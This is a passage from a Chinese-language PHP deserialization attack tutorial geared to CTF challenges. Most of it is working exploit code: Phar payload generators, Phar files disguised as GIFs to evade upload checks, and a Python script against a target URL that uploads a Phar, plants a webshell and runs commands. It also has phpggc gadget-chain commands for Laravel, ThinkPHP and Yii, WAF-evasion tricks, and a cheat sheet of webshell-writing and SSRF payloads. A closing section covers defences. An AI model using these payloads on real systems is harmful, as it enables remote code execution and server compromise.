// Session 文件默认存储在 /tmp/sess_<SESSIONID>
// 格式:/tmp/sess_abc123def456

// 利用流程:
// 1. 注册账号,Session ID 可预测或可观察(Cookie 中的 PHPSESSID)
// 2. 在某个字段写入 PHP 代码(不一定是 session 注入,但 session 文件包含该字段)
// 3. 找到 LFI 漏洞包含 /tmp/sess_<SESSIONID>
// 4. 触发代码执行

// 写入恶意内容到 session
session_start();
$_SESSION['avatar'] = '<?php system($_GET["cmd"]); ?>';
// Session 文件 /tmp/sess_xxx 包含了 PHP 代码

// LFI 触发(如:include.php?file=/tmp/sess_xxx)
// → 包含 session 文件 → 执行其中的 PHP 代码 → RCE

十一、Phar 反序列化

11.1 Phar 基础

Phar(PHP Archive):
  PHP 的归档文件格式,类似 JAR
  文件结构:stub(入口脚本)+ manifest(元数据)+ 内容 + 签名

关键特性:
  Phar 的 manifest 以 PHP 序列化格式存储元数据(包括 metadata)
  当 PHP 函数以 phar:// 流读取 Phar 文件时
  会自动反序列化 manifest 中的 metadata!

触发条件:
  ① 存在文件操作函数(file_exists / is_file / fopen / include 等)
  ② 该函数的路径参数可控(能传入 phar://)
  ③ 服务器可以访问我们上传的 Phar 文件

危险函数(可触发 Phar 反序列化的文件操作函数):
  file_exists()     is_file()      is_dir()
  file_get_contents() file_put_contents()
  fopen()           readfile()
  copy()            rename()
  unlink()          fileatime()
  highlight_file()  show_source()
  get_meta_tags()   exif_read_data()
  zip_open()        imagecreatefromgif()
  SimpleXMLElement()...

11.2 生成恶意 Phar 文件

<?php
// ── 生成恶意 Phar 文件 ──

class Evil {
    public $cmd = "id";

    public function __destruct() {
        system($this->cmd);
    }
}

// 生成 Phar 文件(需要 phar.readonly = Off)
// php.ini: phar.readonly = 0
// 或命令行:php -d phar.readonly=0 gen_phar.php

$phar = new Phar("evil.phar");
$phar->startBuffering();

// 设置 stub(入口)
$phar->setStub("<?php __HALT_COMPILER(); ?>");

// 关键:将恶意对象设置为 metadata
$evil = new Evil();
$evil->cmd = "cat /flag";
$phar->setMetadata($evil);   // metadata 会被序列化存储!

// 添加一个空文件(Phar 要求至少有一个文件)
$phar->addFromString("dummy.txt", "content");
$phar->stopBuffering();

echo "[+] evil.phar 生成完毕\n";
echo "[+] 上传后使用:file_exists('phar://path/to/evil.phar/dummy.txt')\n";
#!/usr/bin/env python3
"""
Python 生成 Phar 文件
(避免依赖 PHP 环境)
"""
import struct, hashlib, base64
from io import BytesIO

def create_phar(serialized_metadata: bytes, filename: str = "evil.phar") -> bytes:
    """
    创建包含恶意序列化 metadata 的 Phar 文件
    
    Phar 文件结构:
    [stub][manifest][files][signature][EOF marker]
    """
    # Stub(入口脚本)
    stub = b"<?php __HALT_COMPILER(); ?>\r\n"

    # 准备文件内容
    file_content = b"placeholder"
    file_name    = b"a.txt"

    # 构造 manifest
    # 文件 manifest entry
    file_entry = (
        struct.pack("<I", len(file_name)) +   # 文件名长度
        file_name +                            # 文件名
        struct.pack("<I", len(file_content)) + # 未压缩大小
        struct.pack("<I", 0) +                 # 时间戳
        struct.pack("<I", len(file_content)) + # 压缩大小
        struct.pack("<I", 0) +                 # 标志
        struct.pack("<I", 0)                   # 元数据长度(文件级别)
    )

    manifest_body = (
        struct.pack("<I", 1) +                      # 文件数量
        struct.pack("<H", 0x11) +                   # API 版本
        struct.pack("<I", 0) +                      # 全局标志
        struct.pack("<I", 0) +                      # 别名长度
        struct.pack("<I", len(serialized_metadata)) +  # metadata 长度
        serialized_metadata +                       # 序列化的 metadata
        file_entry
    )

    manifest = struct.pack("<I", len(manifest_body)) + manifest_body

    # 文件内容区
    files = file_content

    # 构造完整 Phar
    body = stub + manifest + files

    # SHA1 签名
    sig      = hashlib.sha1(body).digest()
    sig_flags = struct.pack("<I", 0x0002)   # SHA1
    sig_magic = b"GBMB"
    signature = sig + sig_flags + sig_magic

    return body + signature


# 生成包含恶意类的 metadata
# 这里使用 PHP 序列化格式
evil_cmd  = b"cat /flag"
class_name = b"Evil"
# O:4:"Evil":1:{s:3:"cmd";s:9:"cat /flag";}
serialized = (
    b'O:' + str(len(class_name)).encode() + b':"' + class_name + b'":1:{'
    + b's:3:"cmd";s:' + str(len(evil_cmd)).encode() + b':"' + evil_cmd + b'";}'
)

phar_data = create_phar(serialized)
with open("evil.phar", "wb") as f:
    f.write(phar_data)

print(f"[+] 生成 evil.phar ({len(phar_data)} bytes)")
print(f"[+] 使用:phar://evil.phar/a.txt")

11.3 Phar 文件伪装与绕过

<?php
// ── Phar 文件伪装为图片(绕过上传检测)──

// 在 Phar 文件头部添加图片文件头(GIF 魔术字节)
// PHP Phar 解析时会忽略文件头,直接寻找 __HALT_COMPILER();

// 生成:GIF 头 + PHP Phar 内容
$phar = new Phar("evil.gif");   // 伪装为 GIF
$phar->startBuffering();
// 添加 GIF 文件头
$phar->setStub("GIF89a" . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Evil());
$phar->addFromString("a.txt", "");
$phar->stopBuffering();
// 生成的文件以 GIF89a 开头 → 通过 MIME 类型检测
// 但 phar:// 解析时正常工作

// ── 绕过 phar:// 过滤 ──
// 若代码过滤了 phar:// 前缀
// 可以使用其他触发方式:

// 方式一:compress.zlib:// 配合 Phar
// compress.zlib://phar://evil.phar/a.txt

// 方式二:compress.bzip2://
// compress.bzip2://phar://evil.phar/a.txt

// 方式三:php://filter 配合
// php://filter/resource=phar://evil.phar/a.txt

// 方式四:Zip 格式的 Phar(.zip 扩展名可通过某些检测)
// 有效的 Zip 文件同时也是有效的 Phar 文件
// phar://evil.zip/a.txt

// ── 绕过路径检查 ──
// 若代码检查路径不包含 phar://
// phar://./evil.phar/a.txt     → 相对路径
// phar:///tmp/evil.phar/a.txt  → 绝对路径
// phar://compress.zlib://...   → 嵌套协议(某些版本)

11.4 Phar 反序列化完整利用链

<?php
// ── 漏洞代码(目标应用)──
class Logger {
    public $logPath;
    public $data;

    public function __destruct() {
        file_put_contents($this->logPath, $this->data);  // 写文件
    }
}

// 漏洞入口:文件操作函数参数可控
$filename = $_GET['file'];
if (file_exists($filename)) {           // ← 触发 Phar 反序列化!
    echo "文件存在";
}
#!/usr/bin/env python3
"""
完整 Phar 反序列化利用脚本
步骤:生成 Phar → 上传 → 触发
"""
import requests, base64, subprocess, os

TARGET      = "http://target.com"
UPLOAD_URL  = f"{TARGET}/upload.php"
EXPLOIT_URL = f"{TARGET}/check.php"
LOCAL_PHAR  = "/tmp/evil.phar"

# 步骤 1:生成恶意 Phar
php_gen = r"""<?php
class Logger {
    public $logPath = "/var/www/html/shell.php";
    public $data    = "<?php @system(\$_GET['c']); ?>";
}
$phar = new Phar("/tmp/evil.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new Logger());
$phar->addFromString("a.txt", "");
$phar->stopBuffering();
echo "done";
"""

with open("/tmp/gen.php", "w") as f:
    f.write(php_gen)

os.system("php -d phar.readonly=0 /tmp/gen.php")
print(f"[+] 生成 evil.phar")

# 步骤 2:上传 Phar(伪装为 GIF)
with open(LOCAL_PHAR, "rb") as f:
    phar_data = f.read()

r = requests.post(
    UPLOAD_URL,
    files={"file": ("avatar.gif", phar_data, "image/gif")},
)
# 从响应中提取上传后的文件路径
upload_path = "/uploads/avatar.gif"   # 根据实际情况调整
print(f"[+] 上传完成: {r.status_code}")

# 步骤 3:触发 Phar 反序列化
phar_url = f"phar://{upload_path}/a.txt"
r = requests.get(EXPLOIT_URL, params={"file": phar_url})
print(f"[+] 触发反序列化: {r.status_code}")

# 步骤 4:执行命令
r = requests.get(f"{TARGET}/shell.php", params={"c": "cat /flag"})
print(f"[+] 命令执行结果: {r.text}")

十二、原生类利用

12.1 SplStack / SplDoublyLinkedList

<?php
// ── SplDoublyLinkedList:在遍历时触发操作 ──

// SplDoublyLinkedList 序列化后反序列化
// 在某些操作(push/pop/遍历)时会触发内部元素的各种方法

// 创建含恶意对象的 SplStack
$stack = new SplDoublyLinkedList();
$stack->push(new Evil());   // 将恶意对象压入栈
// 当代码对反序列化的 SplDoublyLinkedList 进行遍历时
// 可能触发其中对象的各种魔术方法

// ── SplPriorityQueue ──
// 优先队列在 extract() 时比较元素,可触发 __toString 等

12.2 Exception / Error 作为跳板

<?php
// ── Exception::__toString 作为跳板 ──

// PHP 标准库 Exception 有 __toString 方法
// 格式:[异常类名]: [消息] in [文件]:[行号]\nStack trace:\n...

// 利用场景:
// 某代码将反序列化后的对象进行字符串拼接
// $str = "Result: " . $obj;   // 若 $obj 是 Exception 实例
// → 触发 Exception::__toString
// → 输出包含文件路径等信息(信息泄露)
// → 更重要:Exception 可作为链中触发 __toString 的对象

class EvilException extends Exception {
    public function __toString() {
        system($this->message);   // RCE!
        return "";
    }
}

// 若目标代码:
// echo $unserialized_obj;   // 触发 __toString
// → 发送:O:13:"EvilException":1:{s:10:"*message";s:2:"id";}
//   (message 是 protected 属性,需要 \x00*\x00 前缀)

12.3 Closure(闭包)与 __invoke

<?php
// ── 利用已有的 Closure/匿名函数 ──

// 注意:PHP 的 Closure 不能直接序列化
// 但某些框架(如 Laravel)提供了可序列化的 Closure 封装

// ── 原生 __invoke 触发 ──
// 寻找含有危险 __invoke 的类
class CodeRunner {
    public $code;

    public function __invoke() {
        eval($this->code);    // RCE!
    }
}

// 触发条件:反序列化后的对象被当作函数调用
// $fn = unserialize($data);
// $fn("arg");   // 若 $fn 是 CodeRunner 实例 → 触发 __invoke

// 或者通过 call_user_func:
// call_user_func($fn, "arg");   // 同样触发 __invoke

十三、PHP 伪协议配合

13.1 常用伪协议速查

协议 用途 示例
php://filter 读取/处理文件 php://filter/convert.base64-encode/resource=flag.php
php://input 读取 POST body include("php://input") + POST WebShell
php://memory 内存读写 file_put_contents("php://memory", data)
data:// 行内数据 data://text/plain,<?php system('id')?>
phar:// Phar 归档 phar://evil.phar/a.txt
zip:// Zip 归档 zip:///tmp/evil.zip#shell.php
file:// 本地文件 file:///etc/passwd
compress.zlib:// 压缩流 compress.zlib://php://filter/...

13.2 与反序列化结合

<?php
// ── 场景一:file_get_contents + phar:// ──

class Config {
    public $configFile;

    public function __wakeup() {
        $content = file_get_contents($this->configFile);  // ← 触发 Phar
        parse_ini_string($content);
    }
}

// Payload:configFile = "phar:///tmp/evil.phar/a.txt"

// ── 场景二:include + phar:// ──
class Template {
    public $file;

    public function render() {
        include $this->file;   // ← include phar:// 触发反序列化
    }
}

// ── 场景三:imagecreatefromgif + phar:// ──
// 某些图片处理函数也支持 phar:// 流
// imagecreatefromgif("phar://evil.gif/a.txt")  // 触发反序列化

// ── 场景四:SplFileInfo + phar:// ──
$info = new SplFileInfo("phar://evil.phar/a.txt");
$info->getExtension();  // 访问 phar:// 路径时触发反序列化

十四、Laravel 反序列化

14.1 Laravel 反序列化利用链概述

Laravel 框架包含大量可用 Gadget 类
通过 phpggc 工具可以自动生成多种利用链

常见利用链:
  Laravel/RCE1  - 基于 pendingBroadcast + BusDispatcher
  Laravel/RCE2  - 基于 PendingChain + Container
  Laravel/RCE3  - 基于 MockeryMatcher
  Laravel/RCE4  - 基于 Helpers
  Laravel/RCE5  - 适用于不同 Laravel 版本
  Laravel/RCE6  - 基于 Illuminate\Broadcasting
  Laravel/RCE7  - 基于更新版本
  Laravel/RCE8  - 最新链
  Laravel/RCE9  - PHP 8 兼容链

查看可用链:
  phpggc -l Laravel

14.2 使用 phpggc 生成 Payload

# ── 安装 phpggc ──
git clone https://github.com/ambionics/phpggc.git
cd phpggc

# ── 列出所有可用链 ──
./phpggc -l          # 所有框架
./phpggc -l Laravel  # 仅 Laravel

# ── 生成 Laravel RCE 链 ──
# 基本用法
./phpggc Laravel/RCE1 system id
./phpggc Laravel/RCE1 exec "id > /tmp/pwned"

# 生成 Base64 编码的 Payload
./phpggc Laravel/RCE1 system id -b
./phpggc Laravel/RCE1 system "cat /flag" -b

# 生成 URL 编码
./phpggc Laravel/RCE1 system id -u

# 生成 Base64 + URL 编码(双重编码,适用于 GET 参数)
./phpggc Laravel/RCE1 system id -b -u

# 生成并保存到文件
./phpggc Laravel/RCE1 system id -o /tmp/payload.bin

# 指定目标版本(某些链仅适用特定版本)
./phpggc Laravel/RCE8 system "cat /flag" --version 9.0

# ── 生成 Phar 文件 ──
./phpggc Laravel/RCE1 system id --phar phar -o evil.phar

# ── 生成 JSON Payload(某些框架 JSON 解码后反序列化)──
./phpggc Laravel/RCE1 system id --json

14.3 Laravel 反序列化漏洞入口

<?php
// ── Laravel 中常见的反序列化入口 ──

// 1. Cookie 解密后反序列化
// Laravel 的 Cookie 加密后包含序列化数据
// 若能伪造/修改 Cookie → 反序列化 RCE

// 2. Redis Session 驱动
// config/session.php: 'driver' => 'redis'
// Redis 存储的 session 数据是序列化的
// 若能写入 Redis → 控制 session → 反序列化

// 3. Memcached 缓存
// Cache::get() → unserialize()
// 若能控制缓存内容 → 反序列化

// 4. queue jobs(队列作业)
// 序列化的 Job 对象存储在队列中
// 若能注入恶意 Job → 反序列化

// ── Laravel Cookie 伪造 ──
// Laravel Cookie 格式(旧版):
// base64(encrypt(serialize(data)))
// 若获取了 APP_KEY → 可以生成合法 Cookie
#!/usr/bin/env python3
"""
Laravel Cookie 反序列化利用
(需要 APP_KEY)
"""
import subprocess, base64, requests, json

TARGET  = "http://target.com"
APP_KEY = "base64:xxxxxxxxxxxxxxxxxxxxxxxxxxx="  # 从 .env 文件泄露

def generate_laravel_payload(cmd: str) -> str:
    """使用 phpggc 生成 Laravel 反序列化 Payload"""
    result = subprocess.run(
        ["php", "phpggc/phpggc", "Laravel/RCE1", "system", cmd, "-b"],
        capture_output=True, text=True
    )
    return result.stdout.strip()

def forge_laravel_cookie(serialized: str, app_key: str) -> str:
    """伪造 Laravel 加密 Cookie(简化版,实际需要完整加密)"""
    # 实际实现需要:
    # 1. 使用 app_key 进行 AES-256-CBC 加密
    # 2. 生成 HMAC-SHA256 MAC
    # 3. 按 Laravel 格式组装
    pass

# 使用 phpggc 生成
payload = generate_laravel_payload("cat /flag")
print(f"[+] Payload: {payload[:80]}...")

# 发送请求(直接发序列化到可控的反序列化入口)
r = requests.post(
    f"{TARGET}/vulnerable-endpoint",
    data={"data": payload},
)
print(f"[+] 响应: {r.text[:200]}")

十五、ThinkPHP 反序列化

15.1 ThinkPHP 利用链

# ── ThinkPHP 可用链(phpggc)──
./phpggc -l ThinkPHP

# ThinkPHP/RCE1 - 5.1.x
./phpggc ThinkPHP/RCE1 system "id" -b

# ThinkPHP/RCE2 - 5.0.x/5.1.x
./phpggc ThinkPHP/RCE2 exec "id > /tmp/pwned" -b

# ThinkPHP/RCE3 - 6.0.x
./phpggc ThinkPHP/RCE3 system "cat /flag" -b

15.2 ThinkPHP 5.x POP 链手动构造

<?php
// ── ThinkPHP 5.x 反序列化 POP 链 ──
// 链:Windows.__destruct
//     → Pivot.call
//     → Request.__call
//     → FilterIterator (call_user_func)
//     → system/exec

// 简化的链构造(实际链更复杂,依赖框架源码)
namespace think\process\pipes {
    class Windows {
        private $files = [];

        public function __construct($file) {
            $this->files = [$file];
        }
    }
}

namespace think {
    class Model {
        protected $append = [];
        protected $data    = [];
        // 省略复杂的中间层...
    }
}

// 实际利用建议直接使用 phpggc 生成,或参考以下知名 PoC 仓库:
// https://github.com/ambionics/phpggc

十六、Yii2 反序列化

16.1 Yii2 利用链

# ── Yii2 可用链(phpggc)──
./phpggc -l Yii

# Yii/RCE1 - 2.0.x
./phpggc Yii/RCE1 system "id" -b

# Yii/RCE2 - 2.0.x
./phpggc Yii/RCE2 exec "cat /flag" -b

16.2 Yii2 POP 链分析

<?php
// ── Yii2 反序列化链:BatchQueryResult ──
// 链:BatchQueryResult.__destruct
//     → DataReader.close()
//     → PDOStatement(或其他可利用的对象)
//     → 最终 RCE

// ── 简化的 Payload 构造 ──
namespace yii\db {
    class BatchQueryResult {
        private $_dataReader;

        public function __construct($reader) {
            $this->_dataReader = $reader;
        }
        // __destruct 调用 $this->_dataReader->close()
    }
}

// 实际利用使用 phpggc:
// ./phpggc Yii/RCE1 system "cat /flag" -b

十七、WAF 绕过技巧

17.1 序列化字符串混淆

<?php
// ── 技巧一:字符串大小写(类名不区分大小写)──
// PHP 类名在反序列化时不区分大小写(部分版本)
// O:4:"user":1:{...} 与 O:4:"User":1:{...} 等效(取决于类名定义)

// 但属性名区分大小写!

// ── 技巧二:空字节(\x00)利用 ──
// protected/private 属性的键名包含 \x00
// 某些 WAF 对包含 \x00 的字符串处理不当

// ── 技巧三:Unicode 编码(仅对 JSON 格式有效)──
// 若序列化数据以 JSON 形式传输:
// {"__class":"Evil","cmd":"id"}
// → Unicode 编码类名:{"\u005f\u005f\u0063\u006c\u0061\u0073\u0073":"Evil"}

// ── 技巧四:嵌套编码 ──
// Base64 + URL 编码 + 自定义编码
$payload = base64_encode(serialize($evil));
$payload = urlencode($payload);  // 双重编码

// ── 技巧五:利用引用使 WAF 误判 ──
// 某些 WAF 按关键字检测(如 "system", "eval")
// 通过引用将危险字符串存储在别处
// 然后 R:n 引用(但注意:序列化中的引用不能跨越属性值)

17.2 关键字拆分绕过

#!/usr/bin/env python3
"""
PHP 序列化 WAF 绕过:关键字拆分
某些 WAF 检测序列化字符串中的危险关键字
通过字符串拼接/变量等方式绕过
"""
import base64

# ── 场景:WAF 检测 "system" 关键字 ──

# 绕过一:使用等效函数(不含被过滤的关键字)
# system → passthru, exec, shell_exec, popen, proc_open
# eval   → assert(PHP < 7.x), preg_replace /e

# 绕过二:通过变量拼接(需要代码能执行 PHP 逻辑)
# 在 __invoke 或 __destruct 中:
# $func = "sys" . "tem"; $func("id");  → 运行时拼接,WAF 无法检测

# 绕过三:base64 编码的命令(在 base64_decode + eval 场景)
# base64 编码 "<?php system($_GET['cmd']); ?>"
webshell_b64 = base64.b64encode(b"<?php system($_GET['cmd']); ?>").decode()
# 使用:eval(base64_decode("..."))

# 绕过四:chr() 函数拼接(需要 eval)
def str_to_chr(s):
    return ".".join(f"chr({ord(c)})" for c in s)
print(str_to_chr("system"))  # chr(115).chr(121).chr(115).chr(116).chr(101).chr(109)

# 绕过五:十六进制字符串
def str_to_hex(s):
    return "\\x" + "\\x".join(f"{ord(c):02x}" for c in s)
print(str_to_hex("system"))  # \x73\x79\x73\x74\x65\x6d
//需将示意字符串的s改为大写S时,其值会解析 16 进制数据
例如:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
可改为:O:4:"Test":1:{S:3:"\63md";S:6:"\77hoami";}

17.3 绕过长度限制

<?php
// ── 场景:反序列化输入有长度限制 ──

// 技巧一:压缩 Payload
// gzcompress → unserialize 不支持直接,但结合 php://filter 可实现

// 技巧二:精简 Payload(减少属性名长度)
// 若可控源码,将长属性名改为单字母

// 技巧三:利用短类名
// O:1:"A":1:{...}  比  O:10:"Controller":1:{...} 短得多

// 技巧四:使用 r:n 对象引用减少重复
// 若 Payload 中有重复的对象引用,使用 r:n 代替完整序列化

// 技巧五:Base64 不同变体
// 某些长度限制是对 Base64 解码前的原始字符串
// 标准 Base64 / URL-safe Base64 / 去除填充 =

17.4 PHP 版本兼容性处理

#!/usr/bin/env python3
"""
生成多版本兼容的 PHP 反序列化 Payload
"""
import subprocess, sys

def phpggc_gen(chain: str, func: str, cmd: str,
               encode: str = "-b") -> str:
    """
    使用 phpggc 生成 Payload
    encode: "-b"(base64), "-u"(url), "-j"(json), ""(raw)
    """
    args = ["php", "./phpggc/phpggc"] + chain.split() + [func, cmd]
    if encode:
        args.append(encode)
    result = subprocess.run(args, capture_output=True, text=True)
    if result.returncode != 0:
        print(f"错误: {result.stderr}", file=sys.stderr)
        return ""
    return result.stdout.strip()

# 生成多条链的 Payload(用于爆破)
CHAINS = [
    ("Laravel/RCE1", "system"),
    ("Laravel/RCE2", "system"),
    ("Laravel/RCE3", "system"),
    ("Laravel/RCE4", "system"),
    ("Laravel/RCE8", "system"),
    ("ThinkPHP/RCE1", "system"),
    ("ThinkPHP/RCE2", "system"),
    ("Yii/RCE1", "system"),
    ("Yii/RCE2", "system"),
]

CMD = "cat /flag"
payloads = {}

for chain, func in CHAINS:
    p = phpggc_gen(chain, func, CMD)
    if p:
        payloads[chain] = p
        print(f"[+] {chain}: {p[:60]}...")

print(f"\n[*] 共生成 {len(payloads)} 个 Payload")

十八、CTF 实战解题思路

18.1 解题决策树

发现反序列化漏洞入口
    │
    ├── 确认入口类型
    │   ├── 直接 unserialize($input) → 标准 PHP 反序列化
    │   ├── Cookie/Session 中 base64 编码数据 → 解码分析格式
    │   ├── 文件操作路径可控 → 考虑 Phar 反序列化
    │   └── Session 处理器不一致 → Session 反序列化
    │
    ├── 收集可用类信息
    │   ├── 查看源码(CTF 通常提供)→ 分析类和魔术方法
    │   ├── 错误信息泄露 → 获取类名/框架信息
    │   ├── 发现 composer.json/package.json → 框架版本 → phpggc
    │   └── phpinfo() 泄露 → PHP 版本/已加载扩展
    │
    ├── 分析 __wakeup 是否需要绕过
    │   ├── 存在 __wakeup 且包含清空/阻断操作
    │   ├── PHP 版本 < 5.6.25 或 7.0.x < 7.0.10
    │   └── → 将属性计数 +1 绕过(CVE-2016-7124)
    │
    ├── 构造 POP 链
    │   ├── 从危险函数向上追溯(sink → source)
    │   ├── 找链头(__destruct / __wakeup)
    │   ├── 组装中间跳板(__toString / __invoke / __get / __call)
    │   └── 设置所有属性值
    │
    └── 生成 Payload
        ├── PHP 脚本序列化 → base64 编码
        ├── Python 手动构造(含 \x00 特殊字节时需注意)
        └── phpggc 生成(框架漏洞)

18.2 常见 CTF 题型与解法

<?php
// ══ 题型一:简单单类利用 ══
// 只有一个类,魔术方法直接包含危险操作

class Flag {
    public $cmd;
    public function __destruct() {
        eval($this->cmd);
    }
}
// Payload
$f = new Flag();
$f->cmd = "system('cat /flag');";
echo base64_encode(serialize($f));

// ══ 题型二:多类 POP 链 ══
// 需要通过多个类的魔术方法跳转

// 分析链:A.__destruct → B.__toString → C.exec()
// 构造:
$c = new C(); $c->command = "cat /flag";
$b = new B(); $b->obj = $c;
$a = new A(); $a->target = $b;
echo base64_encode(serialize($a));

// ══ 题型三:__wakeup 绕过 ══
// 存在 __wakeup 安全检查,需要 CVE-2016-7124

$payload = serialize($obj);
// 修改属性计数(1 → 2)
$payload = preg_replace('/O:(\d+):"([^"]+)":(\d+):/', 
    'O:$1:"$2":%d:', $payload);
// 使用 Python 脚本自动处理更可靠

// ══ 题型四:字符串逃逸 ══
// 序列化前有 str_replace 过滤,导致长度变化
// → 精心构造注入字符串,逃逸后续属性

// ══ 题型五:Phar 文件 ══
// 存在文件上传 + 文件操作(file_exists 等路径可控)
// → 生成恶意 Phar → 上传 → phar:// 触发

// ══ 题型六:Session 反序列化 ══
// 找两个接口:写 session(php_serialize)+ 读 session(php 格式)
// → 在写入时注入 |<序列化Payload>

// ══ 题型七:SoapClient SSRF ══
// 目标内网有其他服务(如 Redis / FastCGI)
// 利用 SoapClient 反序列化 → SSRF → 攻击内网

18.3 快速调试与验证脚本

#!/usr/bin/env python3
"""
PHP 反序列化 CTF 通用测试脚本
"""
import requests, base64, re, sys, argparse

def send_payload(url: str, param: str, payload: bytes,
                  method: str = "GET", cookies: dict = None) -> str:
    """发送 Payload 并返回响应"""
    encoded = base64.b64encode(payload).decode()
    params  = {param: encoded}
    cookies = cookies or {}

    if method.upper() == "GET":
        r = requests.get(url, params=params, cookies=cookies, timeout=10)
    else:
        r = requests.post(url, data=params, cookies=cookies, timeout=10)

    return r.text

def wakeup_bypass(serialized: bytes) -> bytes:
    """CVE-2016-7124 绕过:将属性计数 +1"""
    import re
    pattern = rb'(O:\d+:"[^"]+":)(\d+):'
    def inc(m):
        return m.group(1) + str(int(m.group(2)) + 1).encode() + b':'
    return re.sub(pattern, inc, serialized, count=1)

def test_deserialization(url: str, param: str, payload_b64: str):
    """测试反序列化 Payload"""
    payload = base64.b64decode(payload_b64)

    # 测试 1:原始 Payload
    print("[*] 测试原始 Payload...")
    r = send_payload(url, param, payload)
    print(f"    响应 ({len(r)} bytes): {r[:200]}")

    # 测试 2:__wakeup 绕过
    bypassed = wakeup_bypass(payload)
    if bypassed != payload:
        print("[*] 测试 __wakeup 绕过 Payload...")
        r = send_payload(url, param, bypassed)
        print(f"    响应 ({len(r)} bytes): {r[:200]}")

# 使用 phpggc 生成 Payload 后测试
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("url")
    parser.add_argument("param")
    parser.add_argument("payload")  # base64 编码的序列化 Payload
    args = parser.parse_args()
    test_deserialization(args.url, args.param, args.payload)

18.4 Payload 速查

<?php
// ── 读取 flag(系统命令)──
// 调用 system()
class Evil { public $cmd; public function __destruct() { system($this->cmd); } }
$e = new Evil(); $e->cmd = "cat /flag"; echo base64_encode(serialize($e));

// ── 写入 WebShell ──
class Shell { public $f; public $c; public function __destruct() { file_put_contents($this->f, $this->c); } }
$s = new Shell(); $s->f = "/var/www/html/s.php"; $s->c = "<?php @eval(\$_POST[1]);?>";
echo base64_encode(serialize($s));

// ── 读取文件(file_get_contents)──
class Reader { public $f; public function __destruct() { echo file_get_contents($this->f); } }
$r = new Reader(); $r->f = "/flag"; echo base64_encode(serialize($r));

// ── eval 执行 ──
class Eval_ { public $c; public function __destruct() { eval($this->c); } }
$e = new Eval_(); $e->c = "system('cat /flag');"; echo base64_encode(serialize($e));

// ── SoapClient SSRF(内置类)──
$sc = new SoapClient(null, ['uri'=>'http://attacker.com','location'=>'http://127.0.0.1:6379/']);
echo base64_encode(serialize($sc));

十九、防御措施

19.1 代码层面防御

<?php
// ── 方案一:避免对用户输入直接反序列化 ──

// ❌ 危险
$obj = unserialize($_GET['data']);
$obj = unserialize(base64_decode($_COOKIE['user']));

// ✅ 安全:使用 JSON 代替序列化
$obj = json_decode($_GET['data']);    // JSON 不会触发魔术方法

// ── 方案二:限制允许的类(PHP 7.0+)──

// ❌ 不安全:允许所有类
$obj = unserialize($data);

// ✅ 安全:白名单限制
$obj = unserialize($data, ['allowed_classes' => ['UserProfile', 'Config']]);
// 只有 UserProfile 和 Config 类可以被反序列化

// ✅ 最安全:不允许任何类(只反序列化基本类型)
$data = unserialize($input, ['allowed_classes' => false]);
// 所有对象变为 __PHP_Incomplete_Class,不触发任何魔术方法

// ── 方案三:完整性验证(签名/HMAC)──

// ❌ 不验证来源
$obj = unserialize(base64_decode($input));

// ✅ 使用 HMAC 签名验证
function safe_unserialize(string $data, string $key): mixed {
    if (!str_contains($data, ':')) return null;

    [$hmac, $payload] = explode(':', $data, 2);
    $expected = hash_hmac('sha256', $payload, $key);

    if (!hash_equals($expected, $hmac)) {
        throw new Exception('序列化数据篡改检测!');
    }

    return unserialize(
        base64_decode($payload),
        ['allowed_classes' => false]   // 额外限制
    );
}

function safe_serialize(mixed $data, string $key): string {
    $payload = base64_encode(serialize($data));
    $hmac    = hash_hmac('sha256', $payload, $key);
    return $hmac . ':' . $payload;
}

19.2 架构层面防御

① 使用安全的替代方案
   优先使用 JSON(json_encode/json_decode)
   JSON 不触发 PHP 魔术方法,天然安全
   
   需要序列化对象时:使用自定义的安全序列化库
   或仅序列化基本类型(string/int/bool/array)

② 危险魔术方法审查
   定期检查代码中的魔术方法(__destruct/__wakeup/__toString 等)
   确保其中不包含可利用的危险操作(system/eval/file_put_contents 等)
   若必须有危险操作,添加充分的输入验证

③ 文件系统保护
   上传目录禁止执行权限(禁止 .php 文件执行)
   使用 phar.readonly = On 禁止创建 Phar 文件
   禁止 Web 目录的直接 Phar 访问

④ Phar 防护
   php.ini: phar.readonly = On(防止创建 Phar)
   禁止不必要的文件操作函数接受用户输入
   验证文件路径时检查协议头(phar:// / zip:// 等)

⑤ WAF 规则
   检测序列化字符串中的危险类名
   检测 O: 开头的 base64 编码字符串
   检测 phar:// 协议头(GET/POST/Cookie/HTTP 头)

⑥ 使用白名单允许的类
   unserialize($data, ['allowed_classes' => $whitelist])
   或升级到 PHP 8.x(更完善的反序列化控制)

19.3 防御检查清单

代码审查:
  ✅ 搜索所有 unserialize() 调用,确认参数来源
  ✅ Cookie/Session 中的序列化数据使用 HMAC 签名验证
  ✅ 审查所有 __destruct / __wakeup / __toString 中是否有危险操作
  ✅ 文件操作函数(file_exists/fopen 等)的路径参数不接受 phar://
  ✅ 上传文件的内容不经过反序列化处理

配置加固:
  ✅ phar.readonly = On(php.ini)
  ✅ 上传目录:禁止 .php/.phar 文件执行
  ✅ session.serialize_handler 统一(写入和读取使用相同处理器)
  ✅ 使用 open_basedir 限制文件访问范围

框架安全:
  ✅ 及时更新框架版本(Laravel/ThinkPHP/Yii 等的已知链已被修复)
  ✅ 使用 composer 的 security advisor 定期检查依赖漏洞
  ✅ Queue/Cache 中的序列化数据验证来源完整性
  ✅ Redis/Memcached 加访问控制(不暴露到公网)

监控与应急:
  ✅ 记录所有反序列化操作(含输入数据)
  ✅ 监控异常的文件创建(尤其是 .php 文件)
  ✅ 定期检查 Web 目录中的新增 PHP 文件
  ✅ 使用文件完整性监控(AIDE/Tripwire)

附录

A. 魔术方法触发速查

unserialize() 调用:
  → 先调用 __wakeup()(若存在且未被 CVE-2016-7124 绕过)
  → 脚本结束时 → __destruct()

字符串上下文(echo/print/. 拼接/in_array 等):
  → __toString()

被当作函数调用($obj() / call_user_func($obj)):
  → __invoke()

访问不存在/不可访问属性($obj->prop):
  → __get($name)

设置不存在/不可访问属性($obj->prop = val):
  → __set($name, $value)

调用不存在/不可访问方法($obj->method()):
  → __call($name, $args)

isset($obj->prop) / empty($obj->prop):
  → __isset($name)

unset($obj->prop):
  → __unset($name)

B. phpggc 常用命令速查

# 列出所有可用链
./phpggc -l

# 列出特定框架的链
./phpggc -l Laravel
./phpggc -l ThinkPHP
./phpggc -l Yii
